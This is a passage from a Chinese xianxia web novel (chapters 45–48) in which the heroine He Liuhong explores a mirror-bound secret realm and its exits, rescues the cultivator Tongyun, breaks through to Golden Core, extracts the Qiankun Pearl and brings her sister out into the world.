小师叔曾经答应每天付她一千块灵石的误工费,虽然到目前为止她一块都没机会领取到,但是这颗避水珠作为额外补偿倒是相当方便好用。 只要灵力还能够维持它的运转,只要能够忍耐这狭小到只能容下她一人的空间,她就可以一直待在里面修炼。 经过一段时间的观察,她确认这座临水的小城已经从那夜的客栈斗法中平息下来,什么风月宗妖族禅宗都离开了。 于是她又开始尝试控制乾坤珠。 同样是珠子,她无法像控制避水珠那样轻易控制乾坤珠的走向,还要防备它躁动之下使她经脉寸断。 乾坤珠每暴躁一次,水面就会咕噜咕噜冒出无数泡泡,几天下来,吸引无数人前来惊奇围观。 事出反常必有妖,按照这个道理,贺流虹怕如此奇观最终招来修士,便停下修炼,打算连夜顺水流走。 在快要出城的时候,一股漩涡将她卷起。 这不是第一次遇见旋涡,但这次她竟无法像先前一样控制避水珠的方向。 这不是普通的漩涡。 事物反常必有妖七个大字再次浮现在她脑海。 她想从水底离开,越用力,越被那道漩涡卷进更深的水底。 最后,一股熟悉的拉扯感将她猛地拽向未知方向。 剧烈的眩晕之后,漩涡消失,身边仍是源源不断地水流。 水岸边传来稚嫩的歌声,没有一句在调子上,也没有一句完整的歌词。 贺流虹揉了揉发晕的脑袋,控制避水珠浮上水面。 透过模模糊糊的水面光影,她看到了她那几百多岁的妹妹坐在岸边的石头上,一边画涩图,一边唱着歌。 “哗啦”一声,河中传来一阵不小的动静。 贺小霓扭头一看,惊喜大喊:“姐姐!你终于又回来了!” 贺流虹爬上岸,脸上带着比她还要难以置信的表情,自言自语:“是啊,我怎么又回来啦!?” 第45章 第45章看来你在天玄宗还挺有人…… 贺流虹面对飞扑而来的少女,猝不及防倒在地上,唉声叹气:“你冷静一点,冷静一点。” 贺小霓热情地用鼻尖蹭她的脸颊,理直气壮地反驳道:“姐姐,你让我怎么冷静!我还以为你又要一走好多年!” 贺流虹拍拍她乌黑浓密的头发,说:“你先起来。” “起来了你就会带我一起出去玩吗?” “嗯对。”贺流虹点点头,又说,“但是我还要再探探路。” “探什么路?” 贺小霓爬起来不解地看着她。 在地上滚了一圈,少女披散下来的长发有些凌乱。 贺流虹在身上摸了一根绳出来,让她把头发绑好。 然后在对方的注视下,重新跳进水里。 水底暗流涌动,贺流虹回到刚才睁眼看见的地方。 以防突然出现吓到旁人,她又使用了避水珠。 经过反复尝试和调整位置,不多时,熟悉的拉扯感再次出现。 一阵眩晕后,她又回到了那座临水小城。 岸边几个浣洗衣裳的人正在闲聊,脸上神色如常。 贺流虹溶入水中,难掩欢快,游了两圈。 紧接着她又试着返回秘境,操纵避水珠回到刚才的位置。 下一瞬,又被拽入秘境中。 贺小霓这回一直坐在水边等,两只眼睛一错不错地紧盯着。 贺流虹没急着立刻和她见面,在水中认真思考了一下对方的请求。 如今她麻烦缠身,带这样一个不谙世事又一心依赖她的孩子离开秘境,不是明智之举。 她又转身回到水底,试着探索了一下其他出口。 毫无疑问秘境连通外界的缝隙不止一处,上次她掉进正在大声密谋的妖怪堆里,逃走得不及时,摊上麻烦,现在她有了更丰富的经验,一有不对,立刻沿原路返回秘境。 在水底摸索片刻后,一股吸引力将她从秘境中扯出。 这一次,既不是在水底,也不是在半空,她很镇静地踩在一只大象的后背上。 后背突然多了个两脚兽的大象惊叫一声,背着她在热带丛林里狂奔。 贺流虹左闪右躲,避开那些迎面袭击过来的树枝和动物,跳下象背,返回秘境。 休息了一会儿,她进行了第二次试探。 这次的裂缝通往一家药铺,她凭空出现时,正好和药铺的伙计四目相对。 原本正在打盹的伙计一下子惊醒,捂住心口一边颤抖着找救心丸,一边使劲揉眼睛。 贺流虹把怕人吓出病,很体贴地迅速消失了。 第三次,她掉进了某个小门派的灵田中。 第四次,一对道侣正在吵架,同时拔剑对准彼此,贺流虹刚好出现在两把剑的中间,顺便劝两人分了手。 …… 第二十九 次,是最吵闹的一次。 没睁开眼睛之前,贺流虹以为自己来到了疯人院。 睁开眼睛后,她才知道来的是疯妖院。 各种动物体到处乱飞乱爬乱叫,也有坚持以人形露面的,只是没说两句人话就暴露了自己真正的物种。 贺流虹的突然出现让现场安静了一瞬,所有聚集在此间的妖族都转头望向她。 她防备地站在原地没动,好奇打量四周,看见窗户的形状,反应出来这个地方竟是镇妖塔。 秘境有一处破损的缝隙竟是连接着镇妖塔内部。 然而这么多年过去,没有一只妖碰巧撞上这个连接点,闯入秘境吗。 她皱着眉,四周妖物更为死寂。 从这些妖的脸上,她看到了既垂涎又恐惧的神情。 “……你们好吗?” 她开口打破这尴尬的沉默。 妖族不约而同地齐齐后退。 就连飘在空中的妖族残魂也像是被冻住,默默躲到了屋顶上。 镇妖塔不愧是集各大仙门之力建造出来的,被关押进来的妖族即便是死了,魂也得留在这儿,直到魂飞魄散。 贺流虹瞧见了一只绿眼睛蜥蜴,想喊它过来问话。 那只蜥蜴阴森森地笑了两声,然后“噗通”一声朝她跪下来,几乎将脸贴上地面,一言不发。 由它开了个头,在场的妖族都跪的跪,趴的趴,脸上流露出本能的惊恐。 贺流虹脸上阴云密布,有些急切地逼问:“为什么?你们为什么要这样?” “饶命,饶命,饶命吧。” 她得到的只有不断重复的哀求。 她探视丹府,乾坤珠很平静,那缕妖息也仍然安分地藏在乾坤珠上。 越是无事发生,她就越是匪夷所思。 “你们知道什么?说出来,这一切到底是怎么回事!” 她依旧没能得到任何回答。 外面忽然传来一声呵斥:“是谁擅闯镇妖塔!” 贺流虹闻言,立刻闪身离开,返回铜镜之中。 她走得惊慌,回到秘境中后直接爬到岸上,大口呼吸着新鲜的空气。 一连忙活了大半天,她有些疲惫地躺倒在草地上,脑子里还在回想镇妖塔内的情形。 或许那就是一群被关疯了的妖族在聚众发疯吧。 贺小霓的脑袋探过来,俯视着她,忧心忡忡地问:“姐姐,你有烦心事吗?” 贺流虹瞧见她乱糟糟的头发,以及那根被她放在草地上的绳子,坐起身来,顺手帮她绑好头发,笑眯眯地开口:“姐姐有一件事想问你。” “你问吧,随便问。” 少女似乎很享受她的指尖从发间穿过,舒服地眯缝着眼睛。 贺流虹问:“你有没有听外面的人提到过乾坤珠?” 少女回想了一下,摇了摇头,又道:“可能听见过,但是我忘了。” 贺流虹觉得这也不是没可能,秘境似乎连接着外面的很多地方,从缝隙中传进来的声音太多太杂,不是每一句话都能引起注意。 她不太熟练地给少女绑好头发,拍拍对方的脑袋,道:“那你记得帮我留意一下,不要跟任何人说我拜托你的事。” “除了你,这里没来过任何话人,我又跟谁说去呢。” 贺小霓摇头晃脑,兴奋地跑到水边看自己被姐姐绑好的头发,嘴里说道:“我记下了,姐姐你就放心好了。” 贺流虹假装没有看见那绑了还不如不绑的头发,暗暗庆幸这幸好只是个几百岁的孩子,没见过世面。 她又休息了一会儿,留下一句“我再去探探路”,又下了水。 根据探索的结果,通往秘境外的连接点基本上都在这条河里,她一时不太确定,贺小霓没能离开秘境是因为没下过水,还是跟外面那些人一样,受到秘境的限制,无法和她一样自由出入。 思考这个问题的时候,她身体一阵悬空,紧接着就“哗啦”一声坠入一池温热的水中。 身体下面还压着个半裸的男修。 男修背对着她,瑟瑟发抖,惶惑不安,小声询问:“你、你是从哪里进来的?” 贺流虹满手都是滑腻温润的触感,意识到自己的手放在不该放的位置,她谨慎地挪开,抬起身下男修的下巴一瞧,露出哭笑不得的神情:“怎么是你?” 美丽善良的彤云道友正在沐浴,秘境与外界的一处连接点就在澡池正上空。 他没听明白贺流虹惊讶的原因,红着脸追问道:“你本来想见的是谁?” 贺流虹一边伸手抓来一件衣服往他身上裹,一边干笑两声,道:“不不不,我谁也不准备见,这……这件事情说来话长,以后有机会再和你细说吧。” 她清楚对方修为不俗,若是细究起来,说不定会暴露秘境之事。 虽然身体也被温热的泉水泡得暖呼呼,温香软玉实在迷人,她还是迅速站起来往外走,丝毫不想多停留。 彤云在她转身时急忙喊道:“等一等,你别走。” 贺流虹偷偷瞥了眼澡池上空的连接点,犹豫着是留在这里找机会回秘境,还是多费点功夫赶路去往最近的连接点。 她回过头,便瞧见美人湿漉漉地站在缭绕雾气中,只有一件外袍裹在身上,除此之外什么也没有,只能用两只手紧紧攥着衣襟,唯恐一松手,就像刚才那样什么都被看光了。 即便如此,他还是要急急忙忙地喊住她,生怕她走。 贺流虹盯了他几秒,歪了下头,嘴角浮现一抹玩味的笑意,问:“你确定不让我走吗?” 她朝他不缓不慢地走过去,就快要逼近到他跟前。 彤云像是忘了自己的修为不比她低,随着她的靠近,羞怯地往后退,最后被一张屏风拦住退路。 贺流虹在他面前站定,很满意地欣赏了一下美人低垂眉眼内敛安静的模样。 时机正好,她正要抬手将人打晕了好返回秘境,美人抬眼看向她,道:“我、我正准备去找你,你既然来了,就别走了。” 贺流虹那只手都抬到半空了,此时也不好再放下去,就捏了捏他的脸蛋,又装模作样帮他把粘在脸颊边的发丝捋开,一本正经问:“到底有什么非做不可的大事,让彤云道友连衣服都不好好穿,刚洗完澡就急着来找我。” 彤云有些紧张地咽了口唾沫,装作没听出来她言辞中的戏弄意味,故作镇定道:“你先别闹,我们的约定你还没忘,对不对?” 贺流虹含糊不清地应了一声。 彤云一板一眼说道:“天玄宗已经撤除了对你的搜寻,如今只要你不主动回去,天玄宗就不会派任何人来强行带走你。” 贺流虹有些意外,当初让他装成她去天玄宗门口诈死,只是甩开他的借口,压根没指望过会成功,堂堂仙门大派,岂会那般轻易被一点伪装骗过去。 所以她怀疑他在张嘴胡说。 彤云也看出来她的质疑,坦白道:“我没有做你说的那件事,但是天玄宗确实已经收回了所有寻人告示,不信的话,你去外面瞧一瞧就知道了。” 贺流虹又忍不住捏了捏他的脸蛋,赞叹道:“看来你在天玄宗还挺有人脉的。” “没……没有人脉。”彤云又垂下眼帘,喃喃低语,“只是巧合。” 贺流虹趁机再次抬起手,准备把人敲晕。 对方又朝她望过来,不解地瞥了眼她高举在空中的那只手。 贺流虹缓缓将手放在他脑袋上,欣慰地摸了摸他的头发,道:“不错,干得不错,你帮了我一件大忙。” “那我能跟着你了吗?”彤云温驯地任由她抚摸,小心翼翼而又充满期待地看着她脸上的表情变化,“你答应过我的。” 贺流虹收回手,若有所思地来回踱步,嘴里说道:“这样吧,你先把衣服穿好,我过会儿再来回答你的问题。” 她说完就要跑路。 彤云像是看穿她这一走就再也不会回头,一把抓住她手腕,掷地有声道:“我若有心谋害于你,不得善终。” 贺流虹转身看他,他说完这话,便从瓷瓶中倒出一颗 噬心丹,干脆利落地吞下去。 随着他这决绝的动作,那件深色的外袍从他身上滑落,袒露出的身体莹白得有些晃眼。 伴随噬心丹立下的誓言也很快生效,他的心口处有丝丝缕缕的红色光芒一闪而过。 贺流虹摸了摸下巴,说:“你先出去,让我静静。” 彤云不确定地瞥了她一眼,还是按照她的吩咐,离开了这个房间。 门刚关上,贺流虹就迅速消失,从连接点返回了秘境。 这是一个很简单的问题。 如果彤云是好人,那么跟她待在一起,一旦她遭殃,好人也会平白无故受连累。 如果彤云有异心,那么就更加不能让他跟着。 美丽善良的彤云道友,只需要负责为她提供灵石就够了。 最重要的是,她已经在秘境中发现了数十个连通外界的连接点,这就意味着她多了很多条可以逃跑的路线,随时可以躲回这个秘境。 这种情况下,一个人行动反倒更便捷。 第46章 第46章别哭了 回到秘境的贺流虹又尝试了很多次,抓了几只猴子,几只鸟,几个人,试验了一下能不能把他们一起带进来。 后来总结下来,属于秘境中的所有东西都带不出去,而外面的一切活物都进不来。 她找贺小霓要来纸笔,将每一个通往外界的连接点位置标注出来,除了镇妖塔,并没有更特殊的地方。 其中有几个连接点通向静谧的乡村或者安宁的城镇,很适合生活,她也特意圈出来。 贺小霓听着她沙沙写字的声音,问:“你在画画吗?” 贺流虹说:“我把每个出口的位置都标出来了,如果你想出去的话,我可以现在就带你去安全的地方。” 对方还没来得及欢呼,她就强调道:“我会帮你找个合适的地方住下来,不过我要先说明一下,外面会有很多你想都想不到的危险,比这个你待了几百年的地方要凶险太多。” “为什么不让我跟着你?” “跟着我会更危险。” 贺流虹张望一圈,要不是这个秘境限制灵力运转,她倒是想先躲在这里修炼个几百年。 贺小霓犹豫了一会儿,依依不舍地说道:“那我就先不出去了,我想和姐姐在一起,既然外面危险,我只会拖累姐姐。” 贺流虹确认了她的意思,就将这事暂且放下,答应等解决好自己的问题、有了自保之力再带她出去瞧瞧外面的世界。 少女又高兴起来,道:“我要是出去了,就没办法帮你留意那个乾坤珠的消息了。” 贺流虹摸了摸身上所有口袋,没找到任何可以送小孩的礼物,又说道:“等下回我给你带好玩的好吃的过来,感谢你帮我大忙。” 贺小霓笑得眉眼弯弯。 贺流虹正准备离开,河岸边又想起来自外界的嘈杂声响。 其中有道声音十分耳熟,是彤云在和别人说话。 他一向冷静内敛的语调此时带着几分脆弱,像是受了伤,虚弱但恼火地说道:“我不知道你说的是谁,请从我的家里离开。” 紧接着是黑袍人沙哑不清的嗓音:“把贺流虹交出来,说,你肯定知道她去了哪里。” 又有一道女声嗤笑道:“你身上都是那个女修的味道,还说不知道,把我堂堂妖尊当傻子呢?” 黑袍人冷冷开口:“既然死也要护着她,那就满足你。” 一阵打斗声和河岸边其他形形色色的声音交织在一起。 贺流虹隐约听见利刃穿透皮肤的声音,肉身俱灭化为齑粉的声音,咬牙忍耐痛苦的声音……她迷失在这混乱的噪音中,不确定到底哪一道声音才是彤云那边传来的。 她大感不妙,飞快跳进河水中找到通往彤云住处的那个连接点。 眨眼睛她就重新出现在那间浴室。 她这次很小心,控制身体从池水上方掠过,冲向门口,打开一道缝一把揪住彤云的衣领,捏碎一张遁走符,动作一气呵成,瞬间带着彤云离开黑袍人和妖尊的围攻。 匆忙之下她也没选好落脚点,一看四周才知道又回到那个破庙。 彤云气若游丝地倒在地上,吐出一大口血,胸口竟是一道狐狸爪子挠出的深深的血痕,在莹白皮肤的衬托下显得尤其狰狞。 贺流虹蹲在他面前查看他伤势,越看越心惊,黑袍人大乘期的修为加上七阶妖族的力量,几乎夺走他大半条命。 她一边在芥子袋里翻找伤药,一边有些无语地说道:“你打不过不知道逃吗,硬撑着做什么,等死吗。” 彤云艰难掀开眼皮,似乎对她隐含训斥的话语感到委屈,又猛咳一阵,胸口的伤更是皮开肉绽,鲜红的血将衣服前襟染透。 贺流虹良心发现,把他的衣服解开,嘴里安抚道:“好了好了,我又不是在怪你,这不是怕你真死了吗。” 她拿着一瓶药粉就往那道伤口上洒。 彤云疼得呻吟起来,清凌凌的眼泪跟断了线的珠子一样往下滚,啜泣道:“我、我、我不能逃,我怕我逃了,他们就会进去将你带走。” 贺流虹半信半疑地扫他一眼,疑惑他竟然不知道她早就不在那间浴室里。 但她也没再多说什么,用袖子胡乱擦了擦他满脸的泪痕,道:“别哭了,我知道你好,你是好人,我会小心些的。” 彤云渐渐止了哭意,胸口的狰狞伤口也在涂了药之后逐渐愈合。 贺流虹把他放到上次自己躺过的那张矮榻上,见他昏睡过去,转过身准备出门。 一只手攥住她衣角,不肯松开。 她回头垂眼看他,面露不解。 他一副又要落泪的模样,低声问:“你又要走了吗?” 贺流虹不紧不慢把他的五根手指头掰开,说道:“我不走,等你把伤养好。” 他又闭上眼睛。 贺流虹留他在屋里休息,去外面画起地图,将所有能通向秘境的地点连起来,形成一个四通八达的网络,从现在开始,遇上危险时,她会就近逃往最近的连接点,躲进秘境。 但是想到那面铜镜仍然放在风月宗后山,而不是拿在她自己手里,她就觉得不够安心。 在去风月宗抢铜镜和去黑市找法宝之间,贺流虹摇摆不定。 黑市上次那副全场戒严的架势让她始终无法放心。风月宗又是个最人多眼杂最容易遇上熟人的地方。 思来想去,不如先找个地方躲起来,拼命修炼一番,给自己增加些自保的能力。 在秘境中进出许多次,乾坤珠的力量又增强了,她也该跟上它的进度,以免哪天再也无法控制它,遭到反噬。 屋子里传来声响,她走进去,将自己的安排告诉彤云。 彤云听到她想找个掩人耳目的地方闭关修炼一段时间,并拜托他替自己护法,整个人显得很是欣喜,不顾身上的伤,坐起来说道:“我知道一个好地方很适合闭关,师父当年被邪修追杀,坠入崖底,误入一处上古大修遗留下来的洞天福地,里面灵气充裕,师父养好伤后将入口封住,偶尔才会进去小住一段时日。” 贺流虹当即接受这个建议,道:“那我们现在就过去,你也能在里面养伤。” 她刚说完,彤云忽然捂住嘴,干呕了起来。 “怎么了?” 贺流虹茫然地看着他。 彤云缓了过来,皱皱眉头,也有些迷茫,摇了摇头,笑道:“没事。” 二人连夜去了彤云说的那个崖底。 贺流虹不担心对方使坏,他服用了噬心丹,如果起了害她的心思,便会身死道消。 如果他不惜身死道消也要和她同归于尽,那她死前会反思一下自己的看人眼光然后诅咒对方永世不得超生。 秘境的入口被遮掩得极好,是一片宛若仙境的云雾,笼罩在一片松林。 彤云一边掐诀开启入口的结界,一边解释说:“师父已在多年前陨落,只告诉我一人此处洞天福地的存在,就连掌……就连师兄他们也不知道,所以你大可放心。” 贺流虹进入其中,顿时感觉步入真正的仙境一般畅快,充盈灵气围绕着身体,自发地滋润着全身经脉。 不过里面空间不大,坐落着一间雅致的屋宅,屋前种着奇花异草,屋后有片灵田,里面的灵植已经很 久没人收割,自由地长满一大片。 贺流虹看得蠢蠢欲动,但充盈的灵气汇聚在丹府,让她的境界开始松动。 彤云瞧出她周身散发的灵压有所变化,迅速引着她前往师父闭关修炼的静室,并很有分寸地开启了护阵。 静室的护阵一开启,便隔绝了任何外人窥探,即便连彤云自己也无法探知静室内的情形,除非贺流虹主动找他。 贺流虹的修为很久没有进阶,这一闭关,就接连突破数次,再次睁眼时已是筑基九层,只差一点,就能金丹大成。 原以为会像之前一样,丹府内的妖气会随着她的修为提升而增强,但是这次连续进阶数次,妖气仍是没有任何反应,附着在乾坤珠上一动不动,就连她的意识主动接触,也平静得过分。 如此一来,贺流虹就不打算继续压制修为了,和乾坤珠的对抗让她的神魂经脉都被强化无数倍,她感觉得出来,普通的修炼进阶对她来说已经不是难事。 她又服下一颗辟谷丹,打算一鼓作气把金丹修炼出来,也好增加一下对付乾坤珠的本钱,要知道这么久过去,乾坤珠的光芒是越发灿烂,衬得她那颗金丹即便就要修成,也显得黯淡而脆弱,好像轻轻一碰就能碎掉。 正如此感叹着,那颗珠子就像有所感应一般,向她可怜的金丹冲撞过去。 第47章 第47章我可是坏得很呢 贺流虹及时控制了它的动向,险险护住自己即将成形的宝贵金丹。 如今她能感觉到自己对乾坤珠的控制力在增强,于是决定尝试将它从丹府内引出。 四周无人打扰,灵气又异常充沛,她仿佛不知疲倦,修炼得烦了,就去和这颗珠子周旋,周旋得累了,再继续修炼,提升自己的境界。 时间飞快流逝,不知道过了多久,静室中爆发出一股极为强悍的能量,险些将四周屏蔽探知的护阵震碎。 贺流虹强行将这股能量压制住,有些麻木地吐了口血。 顾不上擦掉嘴角血迹,她迫不及待摊开手掌,只见一颗布满繁复符文的幽绿色珠子躺在她掌心。 珠子的质地清润通透,既像一块玉石又像木头雕琢而成,源源不断的灵压自其中散发出来,密闭的空间里风声呼啸,快要将四面围墙和头上的屋顶一起震碎。 静室外传来彤云紧张的询问:“你怎么样了,有没有受伤?” 贺流虹道:“我没事,你不用进来。” 她瞪着掌心的乾坤珠,释放出灵力对它又是温柔安抚又是强行压制,让它平静下来,室内又风平浪静。 彤云在外面乖巧地应了一声:“好。”又说:“那我就不打扰……” 话到一半,他又捂着嘴忍不住干呕起来。 贺流虹听到外面的动静,收好乾坤珠,主动收了出来,见对方背对着她紧紧捂住嘴,断断续续地发出痛苦的干呕声,不禁有点担心:“彤云,你是不是生病了?” 彤云说不出话来,跌跌撞撞地跑开。 她追了过去,好不容易在后院将人找到,却见到人已经昏倒在地上。 “彤云?” 她轻轻推了他几下,又拍拍他的脸颊。 这张脸如此苍白,睫毛轻颤着睁开眼睛,有些迷茫地望向她:“我这是怎么了?” 贺流虹把人搀到房间里坐下,查探过他的经脉,更觉奇怪:“你的伤明明已经好了,怎么瞧起来竟如此孱弱。” 彤云蹙着眉,脸上浮现出一抹很勉强的笑容:“可能是没休息好吧。” 贺流虹还想再问,被他制止住:“你闭关两个月,如今已是金丹大成,实在可喜可贺。” 两个月,时间过得远比贺流虹以为的要快,她被彤云说得一愣,查看自己丹府内的情形,乾坤珠刚被她成功引出体外,金丹就立即光芒大盛,修得圆满。 她忍不住笑道:“确实,该庆祝一下。” 彤云脸色依然惨白,却很积极地问道:“贺道友想怎么庆祝?” 贺流虹摆了摆手,道:“你的情况看起来着实不太好,等你先养好身体,咱们再一起庆祝吧。” 一提到这个,彤云脸上的笑意也淡了一些,眼里萦绕着一丝忧愁。 贺流虹只知道他脸色苍白,却不知自己闭关的这两个月,对方常常莫名其妙干呕,嗜睡。 彤云自己也很困惑,这个地方灵气纯净充盈,他的伤早就好了,些微不适偶尔出现或许不足为道,但出现地越来越频繁,就让他不得不怀疑自己是哪里出了问题。 他本该返回师门寻求长老帮助,但又实在不舍得就此离去。 贺流虹饥肠辘辘,但是她不打算这么快又继续闭关修炼,就没浪费辟谷丹,站起来朝窗外望了望,灵田中一大片成熟期的食材等着她下手。 她兴奋地搓搓手,道:“我去挖几颗灵薯尝尝味道,你师父应该不会介意吧?” 提到吃,彤云又捂着嘴干呕,贺流虹吓了一跳,坐过去拍他的后背,道:“要不出去找个医修看看吧?你这样我看着怪害怕的,可别是什么不治之症。” 彤云抬起头,默默看了她一眼。 这一眼极其复杂,像是有很多话想说,但又不知如何开口。 贺流虹不知所措地干笑了几声:“你这么看着我干什么?” 彤云张了张嘴,话到嘴边又用力咽下去,垂着眼帘低声道:“没什么,只是觉得你多虑了。” 他紧接着问:“你还会继续闭关吗,刚修成金丹,你最好再多花些时间巩固一番。” 贺流虹点点头,“那你好好歇息,我回静室了。” 她说着便迅速离开,刚一进入静室就开启屏蔽法阵,拿出乾坤珠再次细细端详起来。 从刚才开始,这颗珠子就让她感到有些不对劲。 她很快发现了异常之处,一直附着在上面的妖气不见了,无论她怎么用神识去探查,里里外外寻找了很多遍,妖气都毫无踪影。 而丹府内也是一片平静,因为金丹的出现,她能使用的灵力比从前增长无数倍。 虽然和乾坤珠的力量比起来,依然不值一提,别说打伤妖尊或大乘期,就是化神期也能轻易让她魂飞魄散。 但是,比起修成金丹的喜悦,最重要的变化在于,她“正常”了,她身上的妖气完完全全地消失了。 现在即便十个半步飞升的大修一起来检查,她也是个如假包换、一身正气的仙门弟子。 妖气的消失让她匪夷所思之余,剩下的全是兴奋,以及如释重负。 她盯着乾坤珠猛瞧一阵,越瞧越喜欢,她觉得那缕妖气很可能是被乾坤珠愈发强盛的能量给灭了。 这件事显然比修为进阶金丹大成更值得庆祝,她按捺住喜悦,耐心巩固了一番修为,几天过后,精神奕奕地出关,去找彤云。 彤云看起来脸色好了很多,正在对着灵田发呆。 她心情愉快,看什么都觉得可亲可爱,下意识想逗弄一下漂亮可爱的彤云道友。 她蹑手蹑脚靠近,从背后将他的眼睛蒙住,用了变声符,压低声音道:“小美人,没人告诉你,一个人待在外面,可能会遇到坏人吗?” 彤云的身子先是一僵,然后轻笑起来,柔软红润的唇瓣一张一合,反问她:“那你是坏人吗?” 贺流虹凑到他耳边,道:“我可是坏 得很呢,你要不要也尝尝我欺负人的手段?” 她的恐吓很快奏效,彤云的耳尖染上一层薄薄的粉色,瞧着晶莹剔透很是诱人。 他咽了口唾沫,强装镇定,道:“你不会欺负我的。” 贺流虹没忍住,在那粉色的耳尖上咬了一口。 彤云剧烈地颤栗起来,像落入虎口的羔羊惊惶失措地挣扎开她的怀抱,连连后退。 贺流虹愣了愣,眨着一双微微下垂的乌黑大眼睛,眼里满是无辜:“抱歉,吓到你了。” 彤云脸颊通红,既羞又愤:“你、你平日里就是这样肆意轻薄一个半路相识的男修吗?” 第48章 第48章有缘再见 贺流虹笑得一脸坦诚,凝视他的双眼,道:“怎么会呢,他们都没有你可爱。” 彤云背过身,露出一对红红的耳尖,想从她这副视线中逃开。 刚走出几步,又停下脚步,犹犹豫豫地问:“你说的‘他们’,也包括你的小师叔吗?” 贺流虹只是顺口一说,没想到对方较真。 不管怎么说,彤云道友帮过她的忙,既然对方在意这种问题,那她自然应该再多说几句好听的,“那是当然,都说琼华真人是修真界第一美人,但我觉得说这种话的人真该来看看彤云道友的风采呢。” 她刚一说完,彤云便重重地哼了一声,飞快丢下她走了。 贺流虹见他生气,叹了一声。男人心,海底针,真难猜啊。 她很快把这种复杂的事情抛到脑后,思考起接下来的安排,乾坤珠到手,也该想个办法把它处理了,在没有完全掌控这东西之前,任凭它力量强横,也是个烫手山芋。 妖气消失,谁也没她清清白白,倒不用再继续躲着天玄宗了,有些事情做起来方便很多。 她绕着屋子逛了一圈,找到了安静坐在窗边的彤云, 美人垂眸倚着窗柩,熟悉感又涌上贺流虹的心头。 她在隔着几步远的地方停下来,坐在树底下,捧着下巴远远望着。 彤云抬眼望向她,既像是余怒未消,又像是有心和好,扯了下嘴角,露出一点浅淡的笑意。 贺流虹冲他招了招手,也笑了一下。 他等不到她说话,便主动开口:“接下来有什么打算?” 贺流虹道:“我正准备跟你说,我有个朋友年纪小无处可去,我可以现在就把她接过来,让她先在这里借住一段时间吗?” 彤云毫不犹豫地点了下头:“我这便和你一起出去。” 贺流虹连忙阻止:“不用,我自己去就行,你在此处等我,我去去就来。” 彤云脸上出现犹疑神色,“你不会是……” “不会的,我说的都是真的,不是要再把你甩开的借口。” 贺流虹说完,很快便独自离开。 出了这一处洞天福地,外面的空气都在对比之下显得浑浊不堪。 但是贺流虹只觉得身轻如燕,从未有过的身心俱畅,天地之间的灵气忽然与她无比亲近,不必刻意闭关修炼,也能感受到体内灵力在逐渐增长。 她将这视为金丹期的变化,心想难怪大多数修士此生都无法修成,简直是质的飞跃。 她去了最近的一个连接点,进了铜镜当中的秘境,见到了贺小霓。 贺小霓兴冲冲扑上来,邀功一般地告诉她:“我听到有人在说乾坤珠。” 贺流虹眼睛亮起:“说什么了?是什么样的声音?” “先是一个男人在唉声叹气,说:‘灵脉一时修复无望,琼华又迟迟不肯回神月峰,难道真的是天要亡我天玄宗?’ “然后又有一个女人在说:‘乾坤珠是有勾连天地之力,别说是修复灵脉,就是倒转乾坤、将天地翻覆也不在话下,要是能找到,说不定不必像如今这般曲折。’ “那个男人又叹气,说:‘它已经失踪几百年,失踪前也没见有谁能完全掌控它,将它的力量运用自如,与其寻找它,不如指望琼华能早日将人带回来,早日飞升。’” 贺小霓将两人的对话模拟了一遍,仰着小脸问:“姐姐,我听到的东西对你有用吗?” 贺流虹琢磨了一下,难怪那个黑袍男一直追着她不放,乾坤珠的力量比她以为的还要大得多。 失踪了几百年的东西,却出现在她的丹府里……她望向眼前不谙世事的几百岁的妹妹,越发好奇失去的那段关于原身的记忆。 还有一个耐人寻味的消息,原来小师叔也离开了神月峰。 她拉着贺小霓的手,说道:“我接下来要干一件可能会影响到你的事情,你要不要现在就随我离开这里?” 贺小霓欣喜不已,但很快冷静下来:“出去之后我会连累你吗姐姐?” 她解释道:“我为你找了个安全的藏身处,你先在那里住一段时间。就是不知道你愿不愿意。” 贺小霓当然愿意,眉飞色舞地答应下来,当场收拾起自己的小画板和纸笔。 贺流虹不忘提醒:“你那些装满又冷又硬的石头的箱子呢?” 贺小霓打开其中一间卧室的门,里面的灵石因为将屋子堆得太满,随着打开的门滚落出来。 “姐姐,真的要带这些石头吗?我拿不下啊。” 贺流虹体贴地摸摸她的头,“好妹妹,你这不是还有姐姐帮忙嘛。” 说完便将这金山银山一股脑收进了芥子袋。 她没有做任何多余的事,带着贺小霓来到距离彤云最近的连接点,是一座山峰的峰顶。 眨眼睛,贺小霓就步入几百年来从未见过的外面的世界。 峰顶的不知名野花让她惊喜地瞪大眼睛,绕着野花飞舞的蝴蝶也让她惊奇轻呼,掉下来的一片落叶让她吓了一跳。 贺流虹踩碎落叶发出清脆声响,少女循着声音源头望向地面,等待着这些碎掉的落叶像在秘境中那般恢复原状,但是等了很久都没有变化,越发诧异。 她脸上的错愕惊讶逐渐转变成喜悦,道:“难怪姐姐你以前总是说要想办法离开,原来外面这么有意思。” 贺流虹看她像个初生于世的婴孩般一惊一乍,没说什么,这个世界到底如何还需她自己来体验。 回到彤云那里之后,屋子里飘来阵阵食物的香气,贺小霓吸着鼻子两眼放光,却见到一个陌生的男子从门后走出,戒备地往后退。 彤云看了看她,又看向贺流虹,忍不住笑道:“你回来了。”他的笑容中夹杂着几分惊喜。 贺流虹知道他在想什么,道:“我就说我没骗你吧,这不是又回来了。” 她指了指身旁的女孩,含糊介绍道:“这是我先前认识的朋友,无处可去,接下来恐怕要叨扰你一段时间了。” 彤云很有分寸地点了下头,不再多问,只说了一声:“我知道了。” 贺小霓躲在贺流虹身后打量他一会儿,没有感受到恶意,便一心寻找那股香气的来源。 肚子响了一声,她惊吓地低头看着发出声音的地方,问:“姐姐,我这是怎么了?我是要死了吗?” 贺流虹说:“你出来很久,肚子也该饿了。” 那个藏在铜镜中的诡异秘境让其中的一切都常年如一日保持原状,也不会感觉到饥饿,但是离开了铜镜,饥饿困乏,生老病死,都会如约而至。 她盯着贺小霓看了一眼,不确定对方在得知这些以后会不会后悔。 彤云将这孩子的异样看在眼里,对贺流虹道:“你上次说想尝尝灵食的味道,我试着做了一些,你……你们吃吃看,若是不喜欢,我再多做些别的。” 贺流虹进了屋,原本清净出尘的闭关之所因为桌上的灵食增添了俗世烟火气,她有些意外地看向彤云,感叹道:“看不出来你还有这种本领。” 彤云不好意思地偏过头,解释道:“你离开后,我闲来无事,翻出师父从前收集的书册,找到这些灵食的做法,便学了些过来。” 贺流虹比贺小霓好不了多少,早已犯了口腹之欲,迫不及待尝了一口,紧接着就冲他竖起了大拇指,称赞道:“我就知道,没什么事是彤云道友不会的,不但美丽善良富贵,竟连灵食也做得如此美味,整个修真界再没有比你更好的男修啦。” 彤云被她这盛情赞美弄得有点不好意思,道:“你喜欢便好,我以后还会……” 